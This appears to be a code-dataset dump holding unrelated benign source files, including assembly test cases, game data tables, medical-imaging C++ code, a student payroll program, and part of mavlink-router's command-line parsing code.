text
stringlengths
1
1.05M
; Test case: ; - line 5 (cp 1), should NOT be optimized, as the value of "a" is used later in function1 (defined in example5-include.asm) ld a,(value) cp 1 call z,function1 ld a,2 ld (value),a end: jp end include "test5-include.asm" value: db 1
; Original address was $B405 ; World 1 Hammer Bro battle B .word $0000 ; Alternate level layout .word $0000 ; Alternate object layout .byte LEVEL1_SIZE_01 | LEVEL1_YSTART_170 .byte LEVEL2_BGPAL_00 | LEVEL2_OBJPAL_08 | LEVEL2_XSTART_18 | LEVEL2_UNUSEDFLAG .byte LEVEL3_TILESET_00 | LEVEL3_VSCROLL_LOCKED .byte LEVEL4_BGBANK_INDEX(19) | LEVEL4_INITACT_NOTHING .byte LEVEL5_BGM_BATTLE | LEVEL5_TIME_200 .byte $40, $00, $0E, $53, $00, $0C, $57, $0C, $0B, $36, $07, $15, $36, $0D, $06, $9A .byte $00, $80, $0F, $FF
// seed 2 lbi r0, 84 // icount 0 slbi r0, 166 // icount 1 lbi r1, 190 // icount 2 slbi r1, 160 // icount 3 lbi r2, 156 // icount 4 slbi r2, 28 // icount 5 lbi r3, 244 // icount 6 slbi r3, 35 // icount 7 lbi r4, 75 // icount 8 slbi r4, 181 // icount 9 lbi r5, 188 // icount 10 slbi r5, 239 // icount 11 lbi r6, 139 // icount 12 slbi r6, 122 // icount 13 lbi r7, 240 // icount 14 slbi r7, 49 // icount 15 sll r0, r7, r7 // icount 16 sll r1, r4, r7 // icount 17 sll r6, r5, r2 // icount 18 sll r3, r6, r5 // icount 19 sll r4, r3, r7 // icount 20 sll r3, r6, r3 // icount 21 sll r7, r7, r2 // icount 22 sll r4, r0, r6 // icount 23 sll r1, r4, r0 // icount 24 sll r1, r4, r3 // icount 25 sll r3, r7, r5 // icount 26 sll r6, r5, r6 // icount 27 sll r6, r2, r1 // icount 28 sll r2, r7, r2 // icount 29 sll r5, r6, r2 // icount 30 sll r6, r7, r3 // icount 31 halt // icount 32
db DEX_ABRA ; pokedex id db 25 ; base hp db 20 ; base attack db 15 ; base defense db 90 ; base speed db 105 ; base special db PSYCHIC ; species type 1 db PSYCHIC ; species type 2 db 200 ; catch rate db 73 ; base exp yield INCBIN "pic/ymon/abra.pic",0,1 ; 55, sprite dimensions dw AbraPicFront dw AbraPicBack ; attacks known at lvl 0 db TELEPORT db 0 db 0 db 0 db 3 ; growth rate ; learnset tmlearn 1,5,6,8 tmlearn 9,10 tmlearn 17,18,19,20 tmlearn 29,30,31,32 tmlearn 33,34,35,40 tmlearn 44,45,46 tmlearn 49,50,55 db BANK(AbraPicFront)
lw $t0, 1000
/* Copyright (c) 2011, Siemens Corporate Research a Division of Siemens Corporation All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include <xip/inventor/core/SoXipMprPlaneElement.h> #include <xip/inventor/core/XipGeomUtils.h> #include <Inventor/elements/SoModelMatrixElement.h> #include <Inventor/fields/SoSFMatrix.h> #include <Inventor/fields/SoSFVec3f.h> #include <Inventor/errors/SoDebugError.h> SO_ELEMENT_SOURCE(SoXipMprPlaneElement); // // This structure contains all information needed for a MPR // plane. Pointers to instances of this structure are stored in the // "mMprPlanes" SbPList. // struct So_MprPlane { SbMatrix planeMatrix; SbVec3f center; SbColor color; SoSFMatrix* planeField; SoSFVec3f* centerField; int id; float stepSize; float thickness; }; void SoXipMprPlaneElement::initClass() { SO_ELEMENT_INIT_CLASS(SoXipMprPlaneElement, SoAccumulatedElement); } SoXipMprPlaneElement::~SoXipMprPlaneElement() { } void SoXipMprPlaneElement::init(SoState *) { mMprPlanes.truncate(0); mStartIndex = 0; } void SoXipMprPlaneElement::add(SoState *state, SoNode *node, const SbMatrix &planeMatrix, const SbVec3f &center, const SbColor &color, int id, float stepSize, float thickness, SoSFMatrix *planeField, SoSFVec3f *centerField) { SoXipMprPlaneElement* elt = (SoXipMprPlaneElement *) getElement(state, classStackIndex); if (elt) { elt->addToElt(planeMatrix, center, color, id, stepSize, thickness, planeField, centerField); // Update node id list in element elt->addNodeId(node); } } // Override push to copy the existing mMprPlanes from the previous element. void SoXipMprPlaneElement::push(SoState *state) { const SoXipMprPlaneElement *elt = (const SoXipMprPlaneElement *) getNextInStack(); // Use SbPList::operator = to copy the pointers to the existing // mMprPlanes. Since the previous element can't be destroyed before // this one is, there is no problem with using pointers to // existing plane structures. However, any new ones we add have to // be freed up when this instance goes away, so we save the // starting index to allow us to fix this in pop(). mMprPlanes = elt->mMprPlanes; mStartIndex = mMprPlanes.getLength(); nodeIds = elt->nodeIds; } // Override pop to free up plane structures that were created in // the instance that was removed from the state. void SoXipMprPlaneElement::pop(SoState *, const SoElement *prevTopElement) { const SoXipMprPlaneElement *prevElt = (const SoXipMprPlaneElement *) prevTopElement; // Free up any plane structures that were created by prevElt for (int i = prevElt->mStartIndex; i < prevElt->mMprPlanes.getLength(); i++) { delete (So_MprPlane*) prevElt->mMprPlanes[i]; } } // Returns the first (top) instance of the element in the state. SoXipMprPlaneElement* SoXipMprPlaneElement::getInstance(SoState *state) { return (SoXipMprPlaneElement *) getConstElement(state, classStackIndex); } // Returns the number of MPR mMprPlanes in the element int SoXipMprPlaneElement::getNum() const { return mMprPlanes.getLength(); } // Returns the nth plane matrix stored in an instance. const SbMatrix& SoXipMprPlaneElement::getMatrix(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getMatrix", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->planeMatrix; } // Returns the nth plane color stored in an instance. const SbColor& SoXipMprPlaneElement::getColor(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getColor", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->color; } // Returns the nth plane id stored in an instance. const int SoXipMprPlaneElement::getId(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getId", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->id; } // Returns the nth plane step size stored in an instance. const float SoXipMprPlaneElement::getStepSize(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getStepSize", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->stepSize; } // Returns the nth plane thickness stored in an instance. const float SoXipMprPlaneElement::getThickness(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getThickness", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->thickness; } void SoXipMprPlaneElement::setMatrix(int index, const SbMatrix &matrix) { if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getMatrix", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; if (plane) { // set new matrix and update field if any changes plane->planeMatrix = matrix; if (plane->planeField) { if (!plane->planeField->getValue().equals(matrix, XIP_FLT_EPSILON)) { plane->planeField->setValue(matrix); } } // compute new center of rotation, which must be located on the plane SbPlane pl = XipGeomUtils::planeFromMatrix(matrix); SbLine ln(plane->center, pl.getNormal()); pl.intersect(ln, plane->center); if (plane->centerField) { if (!plane->centerField->getValue().equals(plane->center, XIP_FLT_EPSILON)) { plane->centerField->setValue(plane->center); } } } } void SoXipMprPlaneElement::setCenter(int index, const SbVec3f &center) { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::setCenter", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; if (plane) { plane->center = center; // make sure that the new center of rotation is located on the plane SbPlane pl = XipGeomUtils::planeFromMatrix(plane->planeMatrix); SbLine ln(plane->center, pl.getNormal()); pl.intersect(ln, plane->center); if (plane->centerField) { if (!plane->centerField->getValue().equals(plane->center, XIP_FLT_EPSILON)) { plane->centerField->setValue(plane->center); } } } } const SbVec3f& SoXipMprPlaneElement::getCenter(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getCenter", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->center; } // Returns the nth plane matrix field stored in an instance. SoSFMatrix * SoXipMprPlaneElement::getMatrixField(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getMatrixField", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif /* DEBUG */ So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->planeField; } SoSFVec3f * SoXipMprPlaneElement::getCenterField(int index) const { #ifdef _DEBUG if (index < 0 || index >= mMprPlanes.getLength()) SoDebugError::post("SoXipMprPlaneElement::getCenterField", "Index (%d) is out of range 0 - %d", index, mMprPlanes.getLength() - 1); #endif /* DEBUG */ So_MprPlane *plane = (So_MprPlane *) mMprPlanes[index]; return plane->centerField; } // Adds MprPlane properties to the MprPlaneElement void SoXipMprPlaneElement::addToElt(const SbMatrix &planeMatrix, const SbVec3f &center, const SbColor &color, int id, float stepSize, float thickness, SoSFMatrix *planeField, SoSFVec3f *centerField) { So_MprPlane *newPlane = new So_MprPlane; if (newPlane) { newPlane->planeMatrix = planeMatrix; newPlane->center = center; newPlane->color = color; newPlane->planeField = planeField; newPlane->centerField = centerField; newPlane->id = id; newPlane->stepSize = stepSize; newPlane->thickness = thickness; mMprPlanes.append(newPlane); } }
;; File: instruction.asm ;; Description: Contains all instructions for PA5 ;; Author: Chris Wilcox ;; Date: 11/1/2010 .ORIG x3000 ; list of simple instructions, none dealt with labels ADD R3,R2,R1 ; ADD instruction ADD R3,R2,#-5 ; ADD instruction ADD R3,R2,x1f ; ADD instruction AND R4,R5,R6 ; AND instruction AND R4,R5,#6 ; AND instruction AND R4,R5,x15 ; AND instruction NOT R7,R4 ; NOT instruction HALT ; HALT instruction JMP R4 ; JMP instruction JSRR R5 ; JSRR instruction RET ; RET instruction RTI ; RTI instruction TRAP x21 ; TRAP instruction LDR R2,R7,#10 ; LDR instruction STR R2,R7,#-8 ; STR instruction ; now try instructions that contain labels (e.g. PCoffsets) BR LABEL0 ; BR instructions BRn LABEL0 BRz LABEL0 BRp LABEL0 BRnz LABEL0 BRnp LABEL0 BRzp LABEL0 BRnzp LABEL0 JSR LABEL7 ; JSR instruction LD R2,LABEL1 ; LD instruction LDI R3,LABEL2 ; LDI instruction LEA R4,LABEL3 ; LEA instruction ST R5,LABEL4 ; ST instruction STI R6,LABEL5 ; STI instruction ; now try in pseudo-ops LABEL0 GETC LABEL1 GETC LABEL2 GETC LABEL3 GETC LABEL4 GETC LABEL5 GETC LABEL6 GETC LABEL7 GETC OUT PUTS IN PUTSP GETC ;; .NEG R1 ;; .ZERO R3 ;; .COPY r3,R4 .BLKW 3 .END
tilecoll 01, 01, 01, 01 ; 00 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 01 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 02 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 03 tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 04 tilecoll UP_WALL, UP_WALL, FLOOR, FLOOR ; 05 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 06 tilecoll WALL, FLOOR, FLOOR, FLOOR ; 07 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 08 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 09 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0a tilecoll WALL, WALL, FLOOR, FLOOR ; 0b tilecoll UP_WALL, LEFT_WALL, RIGHT_WALL, FLOOR ; 0c tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 0d tilecoll FLOOR, LEFT_WALL, FLOOR, LEFT_WALL ; 0e tilecoll WALL, WALL, FLOOR, FLOOR ; 0f tilecoll WALL, FLOOR, WALL, FLOOR ; 10 tilecoll WALL, FLOOR, WALL, FLOOR ; 11 tilecoll FLOOR, WALL, FLOOR, WALL ; 12 tilecoll WALL, WALL, WALL, WALL ; 13 tilecoll WALL, WALL, FLOOR, FLOOR ; 14 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 15 tilecoll WALL, FLOOR, FLOOR, LEFT_WALL ; 16 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 17 tilecoll FLOOR, FLOOR, WALL, WALL ; 18 tilecoll FLOOR, FLOOR, WALL, FLOOR ; 19 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1a tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 1b tilecoll FLOOR, LEFT_WALL, FLOOR, WALL ; 1c tilecoll FLOOR, FLOOR, WALL, FLOOR ; 1d tilecoll FLOOR, RIGHT_WALL, WALL, WALL ; 1e tilecoll FLOOR, FLOOR, DOWN_WALL, DOWN_WALL ; 1f tilecoll FLOOR, FLOOR, FLOOR, WALL ; 20 tilecoll LEFT_WALL, FLOOR, WALL, WALL ; 21 tilecoll RIGHT_WALL, FLOOR, WALL, FLOOR ; 22 tilecoll FLOOR, FLOOR, FLOOR, RIGHT_WALL ; 23 tilecoll WALL, WALL, WALL, WALL ; 24 tilecoll WALL, WALL, LEFT_WALL, FLOOR ; 25 tilecoll WALL, WALL, FLOOR, FLOOR ; 26 tilecoll WALL, WALL, RIGHT_WALL, WALL ; 27 tilecoll FLOOR, FLOOR, WALL, WALL ; 28 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 29 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2a tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2b tilecoll UP_WALL, UP_WALL, RIGHT_WALL, UP_WALL ; 2c tilecoll UP_WALL, UP_WALL, UP_WALL, UP_WALL ; 2d tilecoll UP_WALL, FLOOR, UP_WALL, LEFT_WALL ; 2e
lda {c1},y sta {c1},x
; Declare constants for the multiboot header. MBALIGN equ 1 << 0 ; align loaded modules on page boundaries MEMINFO equ 1 << 1 ; provide memory map FLAGS equ MBALIGN | MEMINFO ; this is the Multiboot 'flag' field MAGIC equ 0x1BADB002 ; 'magic number' lets bootloader find the header CHECKSUM equ -(MAGIC + FLAGS) ; checksum of above, to prove we are multiboot section .multiboot align 4 dd MAGIC dd FLAGS dd CHECKSUM section .bss align 16 stack_bottom: resb 16384 ; 16 KiB stack_top: section .text global _start: function (_start.end - _start) _start: mov esp, stack_top extern main call main cli .hang: hlt jmp .hang .end:
#include <iostream> #include <iomanip> using namespace std; int main() { int paycode; int hours_worked = 0; int countManager = 0; int countHourlyWorker = 0; int countCommissionWorker = 0; double salary, hourlysalary, grossWeeklySalaryCommission; double p, q, l, s, z; cout << "Enter Paycode (-1 to end): "; cin >> paycode; while (paycode != -1){ switch (paycode){ case 1:{ cout << "Manager selected.\nManager pay is $ "; cin >> salary; countManager++; break; } case 2:{ cout << "Hourly worker is selected.\nEnter hourly salary: "; cin >> hourlysalary; cout << "Enter the total hours worked: "; cin >> hours_worked; if (hours_worked <= 40) { cout << "Worker's pay is $"; p = (hours_worked*hourlysalary); cout << p; } else { cout << "Worker's pay is $"; q = (hourlysalary * 40); s = (hours_worked - 40.0)*(hourlysalary*1.5); z = q + s; cout << z; } countHourlyWorker++; break; } case 3: { cout << "Commisioner worker selected.\nEnter gross weekly sales: "; cin >> grossWeeklySalaryCommission; cout << "Commission Worker's pay is $ "; l = (grossWeeklySalaryCommission*0.06) + 250; cout << l; countCommissionWorker++; break; } default: cout << "You have entered an invalid code.\n"; cout << "\nEnter Paycode (-1 to end): "; cin >> paycode; } } cout << "Total number of managers paid: " << countManager << endl; cout << "Total number of hourly workers paid: " << countHourlyWorker << endl; cout << "Total number of commission workers paid: " << countCommissionWorker << endl; return 0; }
/* * This file is part of the MAVLink Router project * * Copyright (C) 2016 Intel Corporation. All rights reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <assert.h> #include <dirent.h> #include <getopt.h> #include <limits.h> #include <stddef.h> #include <stdio.h> #include <sys/stat.h> #include <string> #include <regex> #include <common/conf_file.h> #include <common/dbg.h> #include <common/log.h> #include <common/util.h> #include <src/common/log.h> #include <src/common/util.h> #include "comm.h" #include "endpoint.h" #include "mainloop.h" #define MAVLINK_TCP_PORT 5760 #define DEFAULT_BAUDRATE 115200U #define DEFAULT_CONFFILE "/etc/mavlink-router/main.conf" #define DEFAULT_CONF_DIR "/etc/mavlink-router/config.d" #define DEFAULT_RETRY_TCP_TIMEOUT 5 static struct options opt = { .endpoints = nullptr, .conf_file_name = nullptr, .conf_dir = nullptr, .tcp_port = ULONG_MAX, .report_msg_statistics = false, .logs_dir = nullptr, .log_mode = LogMode::always, .debug_log_level = (int)Log::Level::INFO, .mavlink_dialect = Auto, .min_free_space = 0, .max_log_files = 0, .heartbeat = false }; static const struct option long_options[] = { { "endpoints", required_argument, NULL, 'e' }, { "conf-file", required_argument, NULL, 'c' }, { "conf-dir" , required_argument, NULL, 'd' }, { "report_msg_statistics", no_argument, NULL, 'r' }, { "tcp-port", required_argument, NULL, 't' }, { "tcp-endpoint", required_argument, NULL, 'p' }, { "log", required_argument, NULL, 'l' }, { "debug-log-level", required_argument, NULL, 'g' }, { "heartbeat" , no_argument, NULL, 'b' }, { "verbose", no_argument, NULL, 'v' }, { "version", no_argument, NULL, 'V' }, { } }; static const char* short_options = "he:rt:c:d:l:p:g:bvV"; static void help(FILE *fp) { fprintf(fp, "%s [OPTIONS...] [<uart>|<udp_address>]\n\n" " <uart> UART device (<device>[:<baudrate>]) that will be routed\n" " <udp_address> UDP address (<ip>:<port>) that will be routed\n" " -e --endpoint <ip[:port]> Add UDP endpoint to communicate port is optional\n" " and in case it's not given it starts in 14550 and\n" " continues increasing not to collide with previous\n" " ports\n" " -p --tcp-endpoint <ip:port> Add TCP endpoint client, which will connect to given\n" " address\n" " -r --report_msg_statistics Report message statistics\n" " -t --tcp-port <port> Port in which mavlink-router will listen for TCP\n" " connections. Pass 0 to disable TCP listening.\n" " Default port 5760\n" " -c --conf-file <file> .conf file with configurations for mavlink-router.\n" " -d --conf-dir <dir> Directory where to look for .conf files overriding\n" " default conf file.\n" " -l --log <directory> Enable Flight Stack logging\n" " -g --debug-log-level <level> Set debug log level. Levels are\n" " <error|warning|info|debug>\n" " -b --heartbeat Broadcast log status as heartbeat when logging is enabled\n" " -v --verbose Verbose. Same as --debug-log-level=debug\n" " -V --version Show version\n" " -h --help Print this message\n" , program_invocation_short_name); } static unsigned long find_next_endpoint_port(const char *ip) { unsigned long port = 14550U; while (true) { struct endpoint_config *conf; for (conf = opt.endpoints; conf; conf = conf->next) { if (conf->type == Udp && streq(conf->address, ip) && conf->port == port) { port++; break; } } if (!conf) break; } return port; } static int split_on_last_colon(const char *str, char **base, unsigned long *number) { char *colonstr; *base = strdup(str); colonstr = strrchr(*base, ':'); *number = ULONG_MAX; if (colonstr != nullptr) { *colonstr = '\0'; if (safe_atoul(colonstr + 1, number) < 0) { free(*base); return -EINVAL; } } return 0; } static int validate_ip(const char* ip) { std::string ip_addr(ip); std::regex ipv4_regex("(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})"); #ifdef ENABLE_IPV6 std::regex ipv6_regex("\\[(([a-f\\d]{0,4}:)+[a-f\\d]{0,4})\\]"); // simplyfied pattern if (!std::regex_match(ip_addr, ipv4_regex) && !std::regex_match(ip_addr, ipv6_regex)) { #else if (!std::regex_match(ip_addr, ipv4_regex)) { #endif return -EINVAL; } return 0; } static int log_level_from_str(const char *str) { if (strcaseeq(str, "error")) return (int)Log::Level::ERROR; if (strcaseeq(str, "warning")) return (int)Log::Level::WARNING; if (strcaseeq(str, "info")) return (int)Log::Level::INFO; if (strcaseeq(str, "debug")) return (int)Log::Level::DEBUG; return -EINVAL; } static int add_tcp_endpoint_address(const char *name, size_t name_len, const char *ip, long unsigned port, int timeout) { int ret; struct endpoint_config *conf = (struct endpoint_config *)calloc(1, sizeof(struct endpoint_config)); assert_or_return(conf, -ENOMEM); conf->type = Tcp; conf->port = ULONG_MAX; conf->dropout_percentage = 0; if (!conf->name && name) { conf->name = strndup(name, name_len); if (!conf->name) { ret = -ENOMEM; goto fail; } } if (ip) { free(conf->address); conf->address = strdup(ip); if (!conf->address) { ret = -ENOMEM; goto fail; } } if (!conf->address) { ret = -EINVAL; goto fail; } if (port != ULONG_MAX) { conf->port = port; } if (conf->port == ULONG_MAX) { ret = -EINVAL; goto fail; } conf->retry_timeout = timeout; conf->next = opt.endpoints; opt.endpoints = conf; return 0; fail: free(conf->address); free(conf->name); free(conf); return ret; } static int add_udp_endpoint_address(const char *name, size_t name_len, const char *ip, long unsigned port, bool eavesdropping, const char *filter, int coalesce_bytes, int coalesce_ms, const char *coalesce_nodelay, uint32_t dropout_percentage) { int ret; struct endpoint_config *conf = (struct endpoint_config *)calloc(1, sizeof(struct endpoint_config)); assert_or_return(conf, -ENOMEM); assert_or_return(ip != nullptr, -EINVAL); conf->type = Udp; conf->port = ULONG_MAX; conf->dropout_percentage = dropout_percentage; if (name) { conf->name = strndup(name, name_len); if (!conf->name) { ret = -ENOMEM; goto fail; } } conf->address = strdup(ip); if (!conf->address) { ret = -ENOMEM; goto fail; } if (filter) { conf->filter = strdup(filter); if (!conf->filter) { ret = -ENOMEM; goto fail; } } if (port != ULONG_MAX) { conf->port = port; } if (conf->port == ULONG_MAX) { conf->port = find_next_endpoint_port(conf->address); } conf->eavesdropping = eavesdropping; conf->coalesce_bytes = coalesce_bytes; conf->coalesce_ms = coalesce_ms; if (coalesce_nodelay) { conf->coalesce_nodelay = strdup(coalesce_nodelay); if (!conf->coalesce_nodelay) { ret = -ENOMEM; goto fail; } } conf->next = opt.endpoints; opt.endpoints = conf; return 0; fail: free(conf->address); free(conf->name); free(conf); return ret; } static std::vector<unsigned long> *strlist_to_ul(const char *list, const char *listname, const char *delim, unsigned long default_value) { char *s, *tmp_str; std::unique_ptr<std::vector<unsigned long>> v{new std::vector<unsigned long>()}; if (!list || list[0] == '\0') { v->push_back(default_value); return v.release(); } tmp_str = strdup(list); if (!tmp_str) { return nullptr; } s = strtok(tmp_str, delim); while (s) { unsigned long l; if (safe_atoul(s, &l) < 0) { log_error("Invalid %s %s", listname, s); goto error; } v->push_back(l); s = strtok(NULL, delim); } free(tmp_str); if (!v->size()) { log_error("No valid %s on %s", listname, list); return nullptr; } return v.release(); error: free(tmp_str); return nullptr; } static int add_uart_endpoint(const char *name, size_t name_len, const char *uart_device, const char *bauds, bool flowcontrol, uint32_t dropout_percentage) { int ret; struct endpoint_config *conf = (struct endpoint_config *)calloc(1, sizeof(struct endpoint_config)); assert_or_return(conf, -ENOMEM); conf->type = Uart; conf->dropout_percentage = dropout_percentage; if (name) { conf->name = strndup(name, name_len); if (!conf->name) { ret = -ENOMEM; goto fail; } } conf->device = strdup(uart_device); if (!conf->device) { ret = -ENOMEM; goto fail; } conf->bauds = strlist_to_ul(bauds, "baud", ",", DEFAULT_BAUDRATE); if (!conf->bauds) { ret = -EINVAL; goto fail; } conf->flowcontrol = flowcontrol; conf->next = opt.endpoints; opt.endpoints = conf; return 0; fail: free(conf->device); free(conf->name); free(conf); return ret; } static bool pre_parse_argv(int argc, char *argv[]) { // This function parses only conf-file and conf-dir from // command line, so we can read the conf files. // parse_argv will then parse all other options, overriding // config files definitions int c; while ((c = getopt_long(argc, argv, short_options, long_options, NULL)) >= 0) { switch (c) { case 'c': { opt.conf_file_name = optarg; break; } case 'd': { opt.conf_dir = optarg; break; } case 'V': puts(PACKAGE " version " VERSION); return false; } } // Reset getopt* optind = 1; return true; } static int parse_argv(int argc, char *argv[]) { int c; struct stat st; assert(argc >= 0); assert(argv); while ((c = getopt_long(argc, argv, short_options, long_options, NULL)) >= 0) { switch (c) { case 'h': help(stdout); return 0; case 'e': { char *ip; unsigned long port; if (split_on_last_colon(optarg, &ip, &port) < 0) { log_error("Invalid port in argument: %s", optarg); help(stderr); return -EINVAL; } if (validate_ip(ip) < 0) { log_error("Invalid IP address in argument: %s", optarg); help(stderr); return -EINVAL; } add_udp_endpoint_address(NULL, 0, ip, port, false, NULL, 0, 0, NULL, 0); free(ip); break; } case 'r': { opt.report_msg_statistics = true; break; } case 't': { if (safe_atoul(optarg, &opt.tcp_port) < 0) { log_error("Invalid argument for tcp-port = %s", optarg); help(stderr); return -EINVAL; } break; } case 'l': { opt.logs_dir = strdup(optarg); break; } case 'g': { int lvl = log_level_from_str(optarg); if (lvl == -EINVAL) { log_error("Invalid argument for debug-log-level = %s", optarg); help(stderr); return -EINVAL; } opt.debug_log_level = lvl; break; } case 'b': { opt.heartbeat = true; break; } case 'v': { opt.debug_log_level = (int)Log::Level::DEBUG; break; } case 'p': { char *ip; unsigned long port; if (split_on_last_colon(optarg, &ip, &port) < 0) { log_error("Invalid port in argument: %s", optarg); help(stderr); return -EINVAL; } if (port == ULONG_MAX) { log_error("Missing port in argument: %s", optarg); free(ip); help(stderr); return -EINVAL; } if (validate_ip(ip) < 0) { log_error("Invalid IP address in argument: %s", optarg); help(stderr); return -EINVAL; } add_tcp_endpoint_address(NULL, 0, ip, port, DEFAULT_RETRY_TCP_TIMEOUT); free(ip); break; } case 'c': case 'd': case 'V': break; // These options were parsed on pre_parse_argv case '?': default: help(stderr); return -EINVAL; } } /* positional arguments */ while (optind < argc) { // UDP and UART master endpoints are of the form: // UDP: <ip>:<port> UART: <device>[:<baudrate>] char *base; unsigned long number; if (split_on_last_colon(argv[optind], &base, &number) < 0) { log_error("Invalid argument %s", argv[optind]); help(stderr); return -EINVAL; } if (stat(base, &st) == -1 || !S_ISCHR(st.st_mode)) { if (number == ULONG_MAX) { log_error("Invalid argument for UDP port = %s", argv[optind]); help(stderr); free(base); return -EINVAL; } if (validate_ip(base) < 0) { log_error("Invalid IP address in argument: %s", argv[optind]); help(stderr); return -EINVAL; } add_udp_endpoint_address(NULL, 0, base, number, true, NULL, 0, 0, NULL, 0); } else { const char *bauds = number != ULONG_MAX ? base + strlen(base) + 1 : NULL; int ret = add_uart_endpoint(NULL, 0, base, bauds, false, 0); if (ret < 0) { free(base); return ret; } } free(base); optind++; } return 2; } static const char *get_conf_file_name() { char *s; if (opt.conf_file_name) return opt.conf_file_name; s = getenv("MAVLINK_ROUTERD_CONF_FILE"); if (s) return s; return DEFAULT_CONFFILE; } static const char *get_conf_dir() { char *s; if (opt.conf_dir) return opt.conf_dir; s = getenv("MAVLINK_ROUTERD_CONF_DIR"); if (s) return s; return DEFAULT_CONF_DIR; } static int parse_mavlink_dialect(const char *val, size_t val_len, void *storage, size_t storage_len) { assert(val); assert(storage); assert(val_len); enum mavlink_dialect *dialect = (enum mavlink_dialect *)storage; if (storage_len < sizeof(options::mavlink_dialect)) return -ENOBUFS; if (val_len > INT_MAX) return -EINVAL; if (memcaseeq(val, val_len, "auto", sizeof("auto") - 1)) { *dialect = Auto; } else if (memcaseeq(val, val_len, "common", sizeof("common") - 1)) { *dialect = Common; } else if (memcaseeq(val, val_len, "ardupilotmega", sizeof("ardupilotmega") - 1)) { *dialect = Ardupilotmega; } else { log_error("Invalid argument for MavlinkDialect = %.*s", (int)val_len, val); return -EINVAL; } return 0; } #define MAX_LOG_LEVEL_SIZE 10 static int parse_log_level(const char *val, size_t val_len, void *storage, size_t storage_len) { assert(val); assert(storage); assert(val_len); if (storage_len < sizeof(options::debug_log_level)) return -ENOBUFS; if (val_len > MAX_LOG_LEVEL_SIZE) return -EINVAL; const char *log_level = strndupa(val, val_len); int lvl = log_level_from_str(log_level); if (lvl == -EINVAL) { log_error("Invalid argument for DebugLogLevel = %s", log_level); return -EINVAL; } *((int *)storage) = lvl; return 0; } #undef MAX_LOG_LEVEL_SIZE #define MAX_LOG_MODE_SIZE 20 static int parse_log_mode(const char *val, size_t val_len, void *storage, size_t storage_len) { assert(val); assert(storage); assert(val_len); if (storage_len < sizeof(options::log_mode)) return -ENOBUFS; if (val_len > MAX_LOG_MODE_SIZE) return -EINVAL; const char *log_mode_str = strndupa(val, val_len); LogMode log_mode; if (strcaseeq(log_mode_str, "always")) log_mode = LogMode::always; else if (strcaseeq(log_mode_str, "while-armed")) log_mode = LogMode::while_armed; else { log_error("Invalid argument for LogMode = %s", log_mode_str); return -EINVAL; } *((LogMode *)storage) = log_mode; return 0; } #undef MAX_LOG_MODE_SIZE static int parse_mode(const char *val, size_t val_len, void *storage, size_t storage_len) { assert(val); 